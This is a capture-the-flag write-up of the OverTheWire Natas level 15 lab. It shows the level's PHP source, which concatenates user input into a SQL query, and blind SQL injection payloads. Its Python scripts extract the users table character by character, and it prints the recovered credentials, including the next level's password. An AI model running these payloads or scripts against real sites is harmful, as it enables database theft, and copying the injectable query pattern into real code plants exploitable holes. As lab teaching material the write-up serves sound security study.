We arrive at a page with a text input.
Let’s look at the source.
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
From the PHP code, we can see it’s another SQL injection, but this time the response is only either “This user exists” or “This user doesn’t exist” based on whether our query returns at least 1 row, or returns nothing. Googling about “blind sqli” got me here, we’ll be using the same functions to build our first payload.
We know that we can append our own query by closing the string with "
, so let’s do some testing.
" #
returns false (“This user doesn’t exist”)" or 1#
returns true (“This user exists”)" or 0#
returns falseWe know that the flag is somewhere in the users
table either in the username
or password
column. Let’s recap what the functions we’re going to use:
ascii(char)
returns the ascii val of the character:char
substring(str,idx,count)
returns the substring of the string:str
, starting from index:idx
, as many as count
charactersLIMIT n
limits the query to a max of n
total rowsSo let’s make a query to see if the val in username
column of the first row of the users
table starts with the character that has an ascii value of 97
.
30 40 50 60 70 80 90 100 110 120
--------------------------------
0: ( 2 < F P Z d n x
1: ) 3 = G Q [ e o y
2: * 4 > H R \ f p z
3: ! + 5 ? I S ] g q {
4: " , 6 @ J T ^ h r |
5: # - 7 A K U _ i s }
6: $ . 8 B L V ` j t ~
7: % / 9 C M W a k u DEL
8: & 0 : D N X b l v
9: ' 1 ; E O Y c m w
" or ascii(substring((select username from users limit 1),1,1))=97 #
Submitting that query returned true, looks it does start with an a
. Now let’s see if the second character is also a
, we do this by modifying the params for substring()
.
" or ascii(substring((select username from users limit 1),2,1))=97 #
Looks like it’s not, so I guess let’s try 98, then 99, and so on… ? Let’s try to open this up in burp and try to use the intruder.
In burp,
username=
param to be our query instead or our query after being url-encoded just so we can see it better.97
because that’s what is going to change throughout the attack.Looks like the second char has the value 108
, so time to do this whole process over again until the end of the string… or we could instead write a python code that would automate this entire process.
Let’s start by simply requesting with python requests
module.
import requests
url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)
payload = {
"username": "\" or ascii(substring((select username from users limit 1),1,1))=97 #"
}
r = s.post(url, payload)
print r.text
payload = {
"username": "\" or ascii(substring((select username from users limit 1),2,1))=97 #"
}
r = s.post(url, payload)
print r.text
Output:
...
This user exists.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
...
...
This user doesn't exist.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
...
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
This user exists.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">
This user doesn't exist.<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Here we did 2 requests, as we can see in the payload
dictionary that we changed the payload and the output also changed. So now let’s try to change our payload in a loop.
import requests
import string
url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)
charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
charset.append(ord(c))
for c in charset:
payload = {
"username": "\" or ascii(substring((select username from users limit 1),1,1))=%d #" % c
}
r = s.post(url, payload)
print "[ ] "+payload["username"]
if r.text.find("This user exists.") != -1:
print "[+] char number 1 is %d" % c
Here we did some stuff:
charset_string
consists of alphanum as a stringcharset
array%d
position
Output:
[ ] " or ascii(substring((select username from users limit 1),1,1))=97 #
[+] char number 1 is 97
[ ] " or ascii(substring((select username from users limit 1),1,1))=98 #
...
Now let’s do this for every char by looping it again, if we don’t find a match then that means we’ve reached the end of string.
import requests
import string
url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)
charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
charset.append(ord(c))
idx = 1
flag = ""
eos = 0
while 1:
if eos:
break
for c in charset:
payload = {
"username": "\" or ascii(substring((select username from users limit 1),%d,1))=%d #" % (idx,c)
}
r = s.post(url, payload)
# print "[ ] trying out %c" % chr(c)
if r.text.find("This user exists") != -1:
flag += chr(c)
print "[*] current string: %s" % flag
idx += 1
break
# if we've reached the final char, we must've gotten inside the if
# if not then that's probably end of string
elif chr(c) == "0":
eos = 1
break
print "[+] final string: %s" % flag
Upon executing this script, we got:
[*] current string: a
[*] current string: al
[*] current string: ali
[*] current string: alic
[*] current string: alice
[+] final string: alice
If can try to look at the next row, we just need to change the payload
var, we’ll get.
[*] current string: c
[*] current string: ch
[*] current string: cha
[*] current string: char
[*] current string: charl
[*] current string: charli
[*] current string: charlie
[+] final string: charlie
Problem is, we don’t know how many rows are there, so let’s make the payloads to find that out. We need to first understand the count()
function, it basically just returns the row count of whatever is passed into it’s params.
rows = 1
while 1:
payload = {
"username": "\" or ((select count(*) from users)=%d)#" % rows
}
r = s.post(url, payload)
print "[ ] trying out %d" % rows
if r.text.find("This user exists") != -1:
break
else:
rows += 1
print "[+] number of rows: %d" % rows
Upon running it we got:
[ ] trying out 1
[ ] trying out 2
[ ] trying out 3
[ ] trying out 4
[+] number of rows: 4
Now we know the number of columns and rows, let’s try to get the entire table. Here;s the final script.
import requests
import string
url = "http://natas15.natas.labs.overthewire.org/index.php"
authheader = {
"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="
}
s = requests.Session()
s.headers.update(authheader)
charset_string = string.ascii_letters
charset_string += "1234567890"
charset = []
for c in charset_string: # change charset_string into an array of it's ascii vals
charset.append(ord(c))
rows = 1
while 1:
payload = {
"username": "\" or ((select count(*) from users)=%d)#" % rows
}
r = s.post(url, payload)
if r.text.find("This user exists") != -1:
break
else:
rows += 1
print "[+] number of rows: %d" % rows
cols = ["username", "password"]
for i in range(rows):
for j in cols:
idx = 1
string = ""
eos = 0
while 1:
if eos:
break
for c in charset:
payload = {
"username": "\" or ascii(substring((select %s from users limit %d,1),%d,1))=%d #" % (j,i,idx,c)
}
r = s.post(url, payload)
# print "[ ] trying out %c" % chr(c)
if r.text.find("This user exists") != -1:
string += chr(c)
# print "[ ] current string: %s" % string
idx += 1
break
# if we've reached the final char, we must've gotten inside the if
# if not then that's probably end of string
elif chr(c) == "0":
eos = 1
break
print "[+] column %s row %s: %s" % (j,i+1,string)
Upon running the script, we’ll get the output:
[+] number of rows: 4
[+] column username row 1: alice
[+] column password row 1: hROtsfM734
[+] column username row 2: bob
[+] column password row 2: 6P151OntQe
[+] column username row 3: charlie
[+] column password row 3: HLwuGKts2w
[+] column username row 4: natas16
[+] column password row 4: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
We have successfully exploited a blind SQL injection!
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
‹ Previous in Web exploitation: Natas14 | Next in Web exploitation: Natas16 › |